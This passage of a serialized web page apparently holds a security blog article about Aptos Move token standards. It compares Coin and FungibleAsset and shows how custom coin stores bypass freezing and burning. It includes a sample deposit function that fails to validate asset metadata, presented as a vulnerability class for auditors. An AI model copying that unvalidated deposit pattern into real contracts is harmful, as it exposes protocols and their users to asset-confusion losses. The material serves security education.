coin",{"type":23,"tag":230,"props":62962,"children":62963},{"style":268},[62964],{"type":29,"value":218},{"type":23,"tag":230,"props":62966,"children":62967},{"style":676},[62968],{"type":29,"value":8138},{"type":23,"tag":230,"props":62970,"children":62971},{"style":274},[62972],{"type":29,"value":8143},{"type":23,"tag":230,"props":62974,"children":62975},{"style":676},[62976],{"type":29,"value":8920},{"type":23,"tag":230,"props":62978,"children":62979},{"style":274},[62980],{"type":29,"value":8475},{"type":23,"tag":230,"props":62982,"children":62983},{"class":232,"line":252},[62984,62989,62993,62997],{"type":23,"tag":230,"props":62985,"children":62986},{"style":262},[62987],{"type":29,"value":62988},"    frozen",{"type":23,"tag":230,"props":62990,"children":62991},{"style":268},[62992],{"type":29,"value":218},{"type":23,"tag":230,"props":62994,"children":62995},{"style":676},[62996],{"type":29,"value":14381},{"type":23,"tag":230,"props":62998,"children":62999},{"style":274},[63000],{"type":29,"value":388},{"type":23,"tag":230,"props":63002,"children":63003},{"class":232,"line":280},[63004,63009,63013,63018,63022,63027],{"type":23,"tag":230,"props":63005,"children":63006},{"style":262},[63007],{"type":29,"value":63008},"    deposit_events",{"type":23,"tag":230,"props":63010,"children":63011},{"style":268},[63012],{"type":29,"value":218},{"type":23,"tag":230,"props":63014,"children":63015},{"style":676},[63016],{"type":29,"value":63017}," EventHandle",{"type":23,"tag":230,"props":63019,"children":63020},{"style":274},[63021],{"type":29,"value":8143},{"type":23,"tag":230,"props":63023,"children":63024},{"style":676},[63025],{"type":29,"value":63026},"DepositEvent",{"type":23,"tag":230,"props":63028,"children":63029},{"style":274},[63030],{"type":29,"value":8475},{"type":23,"tag":230,"props":63032,"children":63033},{"class":232,"line":334},[63034,63039,63043,63047,63051,63056],{"type":23,"tag":230,"props":63035,"children":63036},{"style":262},[63037],{"type":29,"value":63038},"    withdraw_events",{"type":23,"tag":230,"props":63040,"children":63041},{"style":268},[63042],{"type":29,"value":218},{"type":23,"tag":230,"props":63044,"children":63045},{"style":676},[63046],{"type":29,"value":63017},{"type":23,"tag":230,"props":63048,"children":63049},{"style":274},[63050],{"type":29,"value":8143},{"type":23,"tag":230,"props":63052,"children":63053},{"style":676},[63054],{"type":29,"value":63055},"WithdrawEvent",{"type":23,"tag":230,"props":63057,"children":63058},{"style":274},[63059],{"type":29,"value":8475},{"type":23,"tag":230,"props":63061,"children":63062},{"class":232,"line":371},[63063],{"type":23,"tag":230,"props":63064,"children":63065},{"style":274},[63066],{"type":29,"value":975},{"type":23,"tag":32,"props":63068,"children":63069},{},[63070,63072,63077,63079,63084],{"type":29,"value":63071},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":71,"props":63073,"children":63075},{"className":63074},[],[63076],{"type":29,"value":62741},{"type":29,"value":63078}," can be stored. You can create your own ",{"type":23,"tag":71,"props":63080,"children":63082},{"className":63081},[],[63083],{"type":29,"value":62741},{"type":29,"value":63085}," wallet, which could look like this:",{"type":23,"tag":220,"props":63087,"children":63089},{"className":5320,"code":63088,"language":5319,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[63090],{"type":23,"tag":71,"props":63091,"children":63092},{"__ignoreMap":7},[63093,63133,63160],{"type":23,"tag":230,"props":63094,"children":63095},{"class":232,"line":233},[63096,63100,63105,63109,63113,63117,63121,63125,63129],{"type":23,"tag":230,"props":63097,"children":63098},{"style":256},[63099],{"type":29,"value":11733},{"type":23,"tag":230,"props":63101,"children":63102},{"style":676},[63103],{"type":29,"value":63104}," DefinitelyLegitCoinStore",{"type":23,"tag":230,"props":63106,"children":63107},{"style":274},[63108],{"type":29,"value":8143},{"type":23,"tag":230,"props":63110,"children":63111},{"style":262},[63112],{"type":29,"value":8148},{"type":23,"tag":230,"props":63114,"children":63115},{"style":676},[63116],{"type":29,"value":8153},{"type":23,"tag":230,"props":63118,"children":63119},{"style":274},[63120],{"type":29,"value":8158},{"type":23,"tag":230,"props":63122,"children":63123},{"style":262},[63124],{"type":29,"value":8163},{"type":23,"tag":230,"props":63126,"children":63127},{"style":262},[63128],{"type":29,"value":8268},{"type":23,"tag":230,"props":63130,"children":63131},{"style":274},[63132],{"type":29,"value":277},{"type":23,"tag":230,"props":63134,"children":63135},{"class":232,"line":243},[63136,63140,63144,63148,63152,63156],{"type":23,"tag":230,"props":63137,"children":63138},{"style":262},[63139],{"type":29,"value":62960},{"type":23,"tag":230,"props":63141,"children":63142},{"style":268},[63143],{"type":29,"value":218},{"type":23,"tag":230,"props":63145,"children":63146},{"style":676},[63147],{"type":29,"value":8138},{"type":23,"tag":230,"props":63149,"children":63150},{"style":274},[63151],{"type":29,"value":8143},{"type":23,"tag":230,"props":63153,"children":63154},{"style":676},[63155],{"type":29,"value":8920},{"type":23,"tag":230,"props":63157,"children":63158},{"style":274},[63159],{"type":29,"value":8329},{"type":23,"tag":230,"props":63161,"children":63162},{"class":232,"line":252},[63163],{"type":23,"tag":230,"props":63164,"children":63165},{"style":274},[63166],{"type":29,"value":975},{"type":23,"tag":32,"props":63168,"children":63169},{},[63170,63175,63177,63183,63185,63190,63192,63198,63200,63205],{"type":23,"tag":71,"props":63171,"children":63173},{"className":63172},[],[63174],{"type":29,"value":62903},{"type":29,"value":63176}," includes a ",{"type":23,"tag":71,"props":63178,"children":63180},{"className":63179},[],[63181],{"type":29,"value":63182},"frozen",{"type":29,"value":63184}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":71,"props":63186,"children":63188},{"className":63187},[],[63189],{"type":29,"value":62903},{"type":29,"value":63191}," is also required for a ",{"type":23,"tag":71,"props":63193,"children":63195},{"className":63194},[],[63196],{"type":29,"value":63197},"burn_from",{"type":29,"value":63199}," operation, which withdraws the ",{"type":23,"tag":71,"props":63201,"children":63203},{"className":63202},[],[63204],{"type":29,"value":62708},{"type":29,"value":63206}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":32,"props":63208,"children":63209},{},[63210,63212,63217,63219,63226,63228,63233],{"type":29,"value":63211},"Storing ",{"type":23,"tag":71,"props":63213,"children":63215},{"className":63214},[],[63216],{"type":29,"value":62708},{"type":29,"value":63218}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":181,"props":63220,"children":63223},{"href":63221,"rel":63222},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[185],[63224],{"type":29,"value":63225},"AIP-21",{"type":29,"value":63227}," summarizes the ",{"type":23,"tag":71,"props":63229,"children":63231},{"className":63230},[],[63232],{"type":29,"value":62708},{"type":29,"value":63234}," problems:",{"type":23,"tag":5272,"props":63236,"children":63237},{},[63238,63247],{"type":23,"tag":32,"props":63239,"children":63240},{},[63241,63245],{"type":23,"tag":230,"props":63242,"children":63243},{},[63244],{"type":29,"value":11922},{"type":29,"value":63246}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":32,"props":63248,"children":63249},{},[63250],{"type":29,"value":63251},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":32,"props":63253,"children":63254},{},[63255],{"type":29,"value":63256},"And declares, that:",{"type":23,"tag":5272,"props":63258,"children":63259},{},[63260],{"type":23,"tag":32,"props":63261,"children":63262},{},[63263],{"type":29,"value":63264},"Fungible assets addresses these issues.",{"type":23,"tag":32,"props":63266,"children":63267},{},[63268],{"type":29,"value":63269},"Let's find out whether this is indeed the case.",{"type":23,"tag":24,"props":63271,"children":63273},{"id":63272},"the-fungible-assets",[63274],{"type":29,"value":63275},"The fungible assets",{"type":23,"tag":32,"props":63277,"children":63278},{},[63279,63281,63287,63289,63296],{"type":29,"value":63280},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":71,"props":63282,"children":63284},{"className":63283},[],[63285],{"type":29,"value":63286},"FungibleAsset",{"type":29,"value":63288}," uses the ",{"type":23,"tag":181,"props":63290,"children":63293},{"href":63291,"rel":63292},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[185],[63294],{"type":29,"value":63295},"hot-potato pattern",{"type":29,"value":218},{"type":23,"tag":220,"props":63298,"children":63300},{"className":5320,"code":63299,"language":5319,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[63301],{"type":23,"tag":71,"props":63302,"children":63303},{"__ignoreMap":7},[63304,63320,63350,63370],{"type":23,"tag":230,"props":63305,"children":63306},{"class":232,"line":233},[63307,63311,63316],{"type":23,"tag":230,"props":63308,"children":63309},{"style":256},[63310],{"type":29,"value":11733},{"type":23,"tag":230,"props":63312,"children":63313},{"style":676},[63314],{"type":29,"value":63315}," FungibleAsset",{"type":23,"tag":230,"props":63317,"children":63318},{"style":274},[63319],{"type":29,"value":277},{"type":23,"tag":230,"props":63321,"children":63322},{"class":232,"line":243},[63323,63328,63332,63337,63341,63346],{"type":23,"tag":230,"props":63324,"children":63325},{"style":262},[63326],{"type":29,"value":63327},"    metadata",{"type":23,"tag":230,"props":63329,"children":63330},{"style":268},[63331],{"type":29,"value":218},{"type":23,"tag":230,"props":63333,"children":63334},{"style":676},[63335],{"type":29,"value":63336}," Object",{"type":23,"tag":230,"props":63338,"children":63339},{"style":274},[63340],{"type":29,"value":8143},{"type":23,"tag":230,"props":63342,"children":63343},{"style":676},[63344],{"type":29,"value":63345},"Metadata",{"type":23,"tag":230,"props":63347,"children":63348},{"style":274},[63349],{"type":29,"value":8475},{"type":23,"tag":230,"props":63351,"children":63352},{"class":232,"line":252},[63353,63358,63362,63366],{"type":23,"tag":230,"props":63354,"children":63355},{"style":262},[63356],{"type":29,"value":63357},"    amount",{"type":23,"tag":230,"props":63359,"children":63360},{"style":268},[63361],{"type":29,"value":218},{"type":23,"tag":230,"props":63363,"children":63364},{"style":676},[63365],{"type":29,"value":8197},{"type":23,"tag":230,"props":63367,"children":63368},{"style":274},[63369],{"type":29,"value":388},{"type":23,"tag":230,"props":63371,"children":63372},{"class":232,"line":280},[63373],{"type":23,"tag":230,"props":63374,"children":63375},{"style":274},[63376],{"type":29,"value":975},{"type":23,"tag":32,"props":63378,"children":63379},{},[63380,63382,63387,63388,63393,63395,63400,63402,63409],{"type":29,"value":63381},"Unlike ",{"type":23,"tag":71,"props":63383,"children":63385},{"className":63384},[],[63386],{"type":29,"value":62741},{"type":29,"value":684},{"type":23,"tag":71,"props":63389,"children":63391},{"className":63390},[],[63392],{"type":29,"value":63286},{"type":29,"value":63394}," types are defined at runtime through the ",{"type":23,"tag":71,"props":63396,"children":63398},{"className":63397},[],[63399],{"type":29,"value":63345},{"type":29,"value":63401}," field. This change was meant to ",{"type":23,"tag":181,"props":63403,"children":63406},{"href":63404,"rel":63405},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[185],[63407],{"type":29,"value":63408},"enhance extensibility",{"type":29,"value":218},{"type":23,"tag":5272,"props":63411,"children":63412},{},[63413],{"type":23,"tag":32,"props":63414,"children":63415},{},[63416],{"type":29,"value":63417},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":32,"props":63419,"children":63420},{},[63421,63423,63429],{"type":29,"value":63422},"An important implication is that functions accepting ",{"type":23,"tag":71,"props":63424,"children":63426},{"className":63425},[],[63427],{"type":29,"value":63428},"FungibleAssets",{"type":29,"value":63430}," must verify the metadata to ensure valid assets.",{"type":23,"tag":32,"props":63432,"children":63433},{},[63434],{"type":29,"value":63435},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":220,"props":63437,"children":63439},{"className":5320,"code":63438,"language":5319,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[63440],{"type":23,"tag":71,"props":63441,"children":63442},{"__ignoreMap":7},[63443,63480,63518,63542,63554,63562,63607,63641,63671,63678,63715,63722,63760,63767,63813],{"type":23,"tag":230,"props":63444,"children":63445},{"class":232,"line":233},[63446,63451,63455,63460,63464,63468,63472,63476],{"type":23,"tag":230,"props":63447,"children":63448},{"style":262},[63449],{"type":29,"value":63450},"public",{"type":23,"tag":230,"props":63452,"children":63453},{"style":262},[63454],{"type":29,"value":8544},{"type":23,"tag":230,"props":63456,"children":63457},{"style":262},[63458],{"type":29,"value":63459}," deposit",{"type":23,"tag":230,"props":63461,"children":63462},{"style":274},[63463],{"type":29,"value":8143},{"type":23,"tag":230,"props":63465,"children":63466},{"style":676},[63467],{"type":29,"value":8324},{"type":23,"tag":230,"props":63469,"children":63470},{"style":268},[63471],{"type":29,"value":218},{"type":23,"tag":230,"props":63473,"children":63474},{"style":262},[63475],{"type":29,"value":8268},{"type":23,"tag":230,"props":63477,"children":63478},{"style":274},[63479],{"type":29,"value":8925},{"type":23,"tag":230,"props":63481,"children":63482},{"class":232,"line":243},[63483,63488,63492,63496,63500,63504,63509,63513],{"type":23,"tag":230,"props":63484,"children":63485},{"style":262},[63486],{"type":29,"value":63487},"    sender",{"type":23,"tag":230,"props":63489,"children":63490},{"style":268},[63491],{"type":29,"value":218},{"type":23,"tag":230,"props":63493,"children":63494},{"style":268},[63495],{"type":29,"value":9477},{"type":23,"tag":230,"props":63497,"children":63498},{"style":262},[63499],{"type":29,"value":9482},{"type":23,"tag":230,"props":63501,"children":63502},{"style":274},[63503],{"type":29,"value":684},{"type":23,"tag":230,"props":63505,"children":63506},{"style":262},[63507],{"type":29,"value":63508},"fa",{"type":23,"tag":230,"props":63510,"children":63511},{"style":268},[63512],{"type":29,"value":218},{"type":23,"tag":230,"props":63514,"children":63515},{"style":676},[63516],{"type":29,"value":63517}," FungibleAsset\n",{"type":23,"tag":230,"props":63519,"children":63520},{"class":232,"line":252},[63521,63525,63529,63533,63537],{"type":23,"tag":230,"props":63522,"children":63523},{"style":274},[63524],{"type":29,"value":703},{"type":23,"tag":230,"props":63526,"children":63527},{"style":262},[63528],{"type":29,"value":8681},{"type":23,"tag":230,"props":63530,"children":63531},{"style":274},[63532],{"type":29,"value":25347},{"type":23,"tag":230,"props":63534,"children":63535},{"style":268},[63536],{"type":29,"value":11922},{"type":23,"tag":230,"props":63538,"children":63539},{"style":274},[63540],{"type":29,"value":63541},"] {\n",{"type":23,"tag":230,"props":63543,"children":63544},{"class":232,"line":280},[63545,63550],{"type":23,"tag":230,"props":63546,"children":63547},{"style":294},[63548],{"type":29,"value":63549},"    assert_not_paused",{"type":23,"tag":230,"props":63551,"children":63552},{"style":274},[63553],{"type":29,"value":2140},{"type":23,"tag":230,"props":63555,"children":63556},{"class":232,"line":334},[63557],{"type":23,"tag":230,"props":63558,"children":63559},{"style":274},[63560],{"type":29,"value":63561},"    \n",{"type":23,"tag":230,"props":63563,"children":63564},{"class":232,"line":371},[63565,63569,63574,63578,63583,63587,63591,63595,63599,63603],{"type":23,"tag":230,"props":63566,"children":63567},{"style":256},[63568],{"type":29,"value":5340},{"type":23,"tag":230,"props":63570,"children":63571},{"style":262},[63572],{"type":29,"value":63573}," fa_amount",{"type":23,"tag":230,"props":63575,"children":63576},{"style":268},[63577],{"type":29,"value":271},{"type":23,"tag":230,"props":63579,"children":63580},{"style":274},[63581],{"type":29,"value":63582}," fungible_asset",{"type":23,"tag":230,"props":63584,"children":63585},{"style":268},[63586],{"type":29,"value":5818},{"type":23,"tag":230,"props":63588,"children":63589},{"style":294},[63590],{"type":29,"value":22621},{"type":23,"tag":230,"props":63592,"children":63593},{"style":274},[63594],{"type":29,"value":302},{"type":23,"tag":230,"props":63596,"children":63597},{"style":268},[63598],{"type":29,"value":5448},{"type":23,"tag":230,"props":63600,"children":63601},{"style":262},[63602],{"type":29,"value":63508},{"type":23,"tag":230,"props":63604,"children":63605},{"style":274},[63606],{"type":29,"value":753},{"type":23,"tag":230,"props":63608,"children":63609},{"class":232,"line":391},[63610,63614,63619,63623,63628,63632,63637],{"type":23,"tag":230,"props":63611,"children":63612},{"style":256},[63613],{"type":29,"value":5340},{"type":23,"tag":230,"props":63615,"children":63616},{"style":262},[63617],{"type":29,"value":63618}," sender_address",{"type":23,"tag":230,"props":63620,"children":63621},{"style":268},[63622],{"type":29,"value":271},{"type":23,"tag":230,"props":63624,"children":63625},{"style":294},[63626],{"type":29,"value":63627}," address_of",{"type":23,"tag":230,"props":63629,"children":63630},{"style":274},[63631],{"type":29,"value":302},{"type":23,"tag":230,"props":63633,"children":63634},{"style":262},[63635],{"type":29,"value":63636},"sender",{"type":23,"tag":230,"props":63638,"children":63639},{"style":274},[63640],{"type":29,"value":753},{"type":23,"tag":230,"props":63642,"children":63643},{"class":232,"line":400},[63644,63649,63653,63658,63662,63667],{"type":23,"tag":230,"props":63645,"children":63646},{"style":294},[63647],{"type":29,"value":63648},"    check_compliance",{"type":23,"tag":230,"props":63650,"children":63651},{"style":274},[63652],{"type":29,"value":302},{"type":23,"tag":230,"props":63654,"children":63655},{"style":262},[63656],{"type":29,"value":63657},"fa_amount",{"type":23,"tag":230,"props":63659,"children":63660},{"style":274},[63661],{"type":29,"value":684},{"type":23,"tag":230,"props":63663,"children":63664},{"style":262},[63665],{"type":29,"value":63666},"sender_address",{"type":23,"tag":230,"props":63668,"children":63669},{"style":274},[63670],{"type":29,"value":753},{"type":23,"tag":230,"props":63672,"children":63673},{"class":232,"line":444},[63674],{"type":23,"tag":230,"props":63675,"children":63676},{"style":274},[63677],{"type":29,"value":63561},{"type":23,"tag":230,"props":63679,"children":63680},{"class":232,"line":453},[63681,63686,63690,63695,63699,63703,63707,63711],{"type":23,"tag":230,"props":63682,"children":63683},{"style":294},[63684],{"type":29,"value":63685},"    increase_deposit",{"type":23,"tag":230,"props":63687,"children":63688},{"style":274},[63689],{"type":29,"value":302},{"type":23,"tag":230,"props":63691,"children":63692},{"style":294},[63693],{"type":29,"value":63694},"get_vault",{"type":23,"tag":230,"props":63696,"children":63697},{"style":274},[63698],{"type":29,"value":302},{"type":23,"tag":230,"props":63700,"children":63701},{"style":262},[63702],{"type":29,"value":63666},{"type":23,"tag":230,"props":63704,"children":63705},{"style":274},[63706],{"type":29,"value":17502},{"type":23,"tag":230,"props":63708,"children":63709},{"style":262},[63710],{"type":29,"value":63657},{"type":23,"tag":230,"props":63712,"children":63713},{"style":274},[63714],{"type":29,"value":753},{"type":23,"tag":230,"props":63716,"children":63717},{"class":232,"line":462},[63718],{"type":23,"tag":230,"props":63719,"children":63720},{"style":274},[63721],{"type":29,"value":63561},{"type":23,"tag":230,"props":63723,"children":63724},{"class":232,"line":471},[63725,63730,63734,63739,63743,63748,63752,63756],{"type":23,"tag":230,"props":63726,"children":63727},{"style":274},[63728],{"type":29,"value":63729},"    primary_fungible_store",{"type":23,"tag":230,"props":63731,"children":63732},{"style":268},[63733],{"type":29,"value":5818},{"type":23,"tag":230,"props":63735,"children":63736},{"style":294},[63737],{"type":29,"value":63738},"deposit",{"type":23,"tag":230,"props":63740,"children":63741},{"style":274},[63742],{"type":29,"value":302},{"type":23,"tag":230,"props":63744,"children":63745},{"style":294},[63746],{"type":29,"value":63747},"global_vault_address",{"type":23,"tag":230,"props":63749,"children":63750},{"style":274},[63751],{"type":29,"value":1172},{"type":23,"tag":230,"props":63753,"children":63754},{"style":262},[63755],{"type":29,"value":63508},{"type":23,"tag":230,"props":63757,"children":63758},{"style":274},[63759],{"type":29,"value":753},{"type":23,"tag":230,"props":63761,"children":63762},{"class":232,"line":500},[63763],{"type":23,"tag":230,"props":63764,"children":63765},{"style":274},[63766],{"type":29,"value":63561},{"type":23,"tag":230,"props":63768,"children":63769},{"class":232,"line":514},[63770,63775,63779,63784,63788,63793,63797,63801,63805,63809],{"type":23,"tag":230,"props":63771,"children":63772},{"style":274},[63773],{"type":29,"value":63774},"    event",{"type":23,"tag":230,"props":63776,"children":63777},{"style":268},[63778],{"type":29,"value":5818},{"type":23,"tag":230,"props":63780,"children":63781},{"style":294},[63782],{"type":29,"value":63783},"emit",{"type":23,"tag":230,"props":63785,"children":63786},{"style":274},[63787],{"type":29,"value":302},{"type":23,"tag":230,"props":63789,"children":63790},{"style":676},[63791],{"type":29,"value":63792},"Deposit",{"type":23,"tag":230,"props":63794,"children":63795},{"style":274},[63796],{"type":29,"value":46988},{"type":23,"tag":230,"props":63798,"children":63799},{"style":262},[63800],{"type":29,"value":63666},{"type":23,"tag":230,"props":63802,"children":63803},{"style":274},[63804],{"type":29,"value":684},{"type":23,"tag":230,"props":63806,"children":63807},{"style":262},[63808],{"type":29,"value":63657},{"type":23,"tag":230,"props":63810,"children":63811},{"style":274},[63812],{"type":29,"value":35314},{"type":23,"tag":230,"props":63814,"children":63815},{"class":232,"line":897},[63816],{"type":23,"tag":230,"props":63817,"children":63818},{"style":274},[63819],{"type":29,"value":975},{"type":23,"tag":32,"props":63821,"children":63822},{},[63823],{"type":29,"value":63824},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":32,"props":63826,"children":63827},{},[63828],{"type":29,"value":63829},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":24,"props":63831,"children":63833},{"id":63832},"fungible-stores",[63834],{"type":29,"value":63835},"Fungible stores",{"type":23,"tag":32,"props":63837,"children":63838},{},[63839],{"type":29,"value":63840},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":32,"props":63842,"children":63843},{},[63844,63846,63852],{"type":29,"value":63845},"Meet the ",{"type":23,"tag":71,"props":63847,"children":63849},{"className":63848},[],[63850],{"type":29,"value":63851},"FungibleStore",{"type":29,"value":312},{"type":23,"tag":220,"props":63854,"children":63856},{"className":5320,"code":63855,"language":5319,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[63857],{"type":23,"tag":71,"props":63858,"children":63859},{"__ignoreMap":7},[63860,63884,63911,63931,63950],{"type":23,"tag":230,"props":63861,"children":63862},{"class":232,"line":233},[63863,63867,63872,63876,63880],{"type":23,"tag":230,"props":63864,"children":63865},{"style":256},[63866],{"type":29,"value":11733},{"type":23,"tag":230,"props":63868,"children":63869},{"style":676},[63870],{"type":29,"value":63871}," FungibleStore",{"type":23,"tag":230,"props":63873,"children":63874},{"style":262},[63875],{"type":29,"value":11742},{"type":23,"tag":230,"props":63877,"children":63878},{"style":262},[63879],{"type":29,"value":8268},{"type":23,"tag":230,"props":63881,"children":63882},{"style":274},[63883],{"type":29,"value":277},{"type":23,"tag":230,"props":63885,"children":63886},{"class":232,"line":243},[63887,63891,63895,63899,63903,63907],{"type":23,"tag":230,"props":63888,"children":63889},{"style":262},[63890],{"type":29,"value":63327},{"type":23,"tag":230,"props":63892,"children":63893},{"style":268},[63894],{"type":29,"value":218},{"type":23,"tag":230,"props":63896,"children":63897},{"style":676},[63898],{"type":29,"value":63336},{"type":23,"tag":230,"props":63900,"children":63901},{"style":274},[63902],{"type":29,"value":8143},{"type":23,"tag":230,"props":63904,"children":63905},{"style":676},[63906],{"type":29,"value":63345},{"type":23,"tag":230,"props":63908,"children":63909},{"style":274},[63910],{"type":29,"value":8475},{"type":23,"tag":230,"props":63912,"children":63913},{"class":232,"line":252},[63914,63919,63923,63927],{"type":23,"tag":230,"props":63915,"children":63916},{"style":262},[63917],{"type":29,"value":63918},"    balance",{"type":23,"tag":230,"props":63920,"children":63921},{"style":268},[63922],{"type":29,"value":218},{"type":23,"tag":230,"props":63924,"children":63925},{"style":676},[63926],{"type":29,"value":8197},{"type":23,"tag":230,"props":63928,"children":63929},{"style":274},[63930],{"type":29,"value":388},{"type":23,"tag":230,"props":63932,"children":63933},{"class":232,"line":280},[63934,63938,63942,63946],{"type":23,"tag":230,"props":63935,"children":63936},{"style":262},[63937],{"type":29,"value":62988},{"type":23,"tag":230,"props":63939,"children":63940},{"style":268},[63941],{"type":29,"value":218},{"type":23,"tag":230,"props":63943,"children":63944},{"style":676},[63945],{"type":29,"value":14381},{"type":23,"tag":230,"props":63947,"children":63948},{"style":274},[63949],{"type":29,"value":388},{"type":23,"tag":230,"props":63951,"children":63952},{"class":232,"line":334},[63953],{"type":23,"tag":230,"props":63954,"children":63955},{"style":274},[63956],{"type":29,"value":975},{"type":23,"tag":32,"props":63958,"children":63959},{},[63960,63965,63967,63972,63974,63979,63981,63986,63988,63993],{"type":23,"tag":71,"props":63961,"children":63963},{"className":63962},[],[63964],{"type":29,"value":63851},{"type":29,"value":63966}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":71,"props":63968,"children":63970},{"className":63969},[],[63971],{"type":29,"value":63286},{"type":29,"value":63973}," (it can't because ",{"type":23,"tag":71,"props":63975,"children":63977},{"className":63976},[],[63978],{"type":29,"value":63286},{"type":29,"value":63980}," doesn't have ",{"type":23,"tag":71,"props":63982,"children":63984},{"className":63983},[],[63985],{"type":29,"value":8277},{"type":29,"value":63987},"). Withdrawals create temporary ",{"type":23,"tag":71,"props":63989,"children":63991},{"className":63990},[],[63992],{"type":29,"value":63286},{"type":29,"value":63994}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":21113,"props":63996,"children":63997},{},[],{"type":23,"tag":32,"props":63999,"children":64000},{},[64001,64003,64008,64010,64015],{"type":29,"value":64002},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":71,"props":64004,"children":64006},{"className":64005},[],[64007],{"type":29,"value":63286},{"type":29,"value":64009}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":71,"props":64011,"children":64013},{"className":64012},[],[64014],{"type":29,"value":63286},{"type":29,"value":312},{"type":23,"tag":220,"props":64017,"children":64019},{"className":5320,"code":64018,"language":5319,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[64020],{"type":23,"tag":71,"props":64021,"children":64022},{"__ignoreMap":7},[64023,64060,64112,64155,64162,64169,64241,64253,64291,64310,64317],{"type":23,"tag":230,"props":64024,"children":64025},{"class":232,"line":233},[64026,64030,64034,64039,64043,64048,64052,64056],{"type":23,"tag":230,"props":64027,"children":64028},{"style":262},[64029],{"type":29,"value":63450},{"type":23,"tag":230,"props":64031,"children":64032},{"style":262},[64033],{"type":29,"value":8544},{"type":23,"tag":230,"props":64035,"children":64036},{"style":294},[64037],{"type":29,"value":64038}," destroy_zero",{"type":23,"tag":230,"props":64040,"children":64041},{"style":274},[64042],{"type":29,"value":302},{"type":23,"tag":230,"props":64044,"children":64045},{"style":262},[64046],{"type":29,"value":64047},"fungible_asset",{"type":23,"tag":230,"props":64049,"children":64050},{"style":268},[64051],{"type":29,"value":218},{"type":23,"tag":230,"props":64053,"children":64054},{"style":676},[64055],{"type":29,"value":63315},{"type":23,"tag":230,"props":64057,"children":64058},{"style":274},[64059],{"type":29,"value":827},{"type":23,"tag":230,"props":64061,"children":64062},{"class":232,"line":243},[64063,64067,64071,64075,64079,64083,64088,64092,64096,64100,64104,64108],{"type":23,"tag":230,"props":64064,"children":64065},{"style":256},[64066],{"type":29,"value":5340},{"type":23,"tag":230,"props":64068,"children":64069},{"style":676},[64070],{"type":29,"value":63315},{"type":23,"tag":230,"props":64072,"children":64073},{"style":274},[64074],{"type":29,"value":848},{"type":23,"tag":230,"props":64076,"children":64077},{"style":262},[64078],{"type":29,"value":22621},{"type":23,"tag":230,"props":64080,"children":64081},{"style":274},[64082],{"type":29,"value":684},{"type":23,"tag":230,"props":64084,"children":64085},{"style":262},[64086],{"type":29,"value":64087},"metadata",{"type":23,"tag":230,"props":64089,"children":64090},{"style":268},[64091],{"type":29,"value":218},{"type":23,"tag":230,"props":64093,"children":64094},{"style":262},[64095],{"type":29,"value":5376},{"type":23,"tag":230,"props":64097,"children":64098},{"style":274},[64099],{"type":29,"value":858},{"type":23,"tag":230,"props":64101,"children":64102},{"style":268},[64103],{"type":29,"value":863},{"type":23,"tag":230,"props":64105,"children":64106},{"style":262},[64107],{"type":29,"value":63582},{"type":23,"tag":230,"props":64109,"children":64110},{"style":274},[64111],{"type":29,"value":511},{"type":23,"tag":230,"props":64113,"children":64114},{"class":232,"line":252},[64115,64120,64124,64128,64132,64136,64141,64145,64150],{"type":23,"tag":230,"props":64116,"children":64117},{"style":294},[64118],{"type":29,"value":64119},"    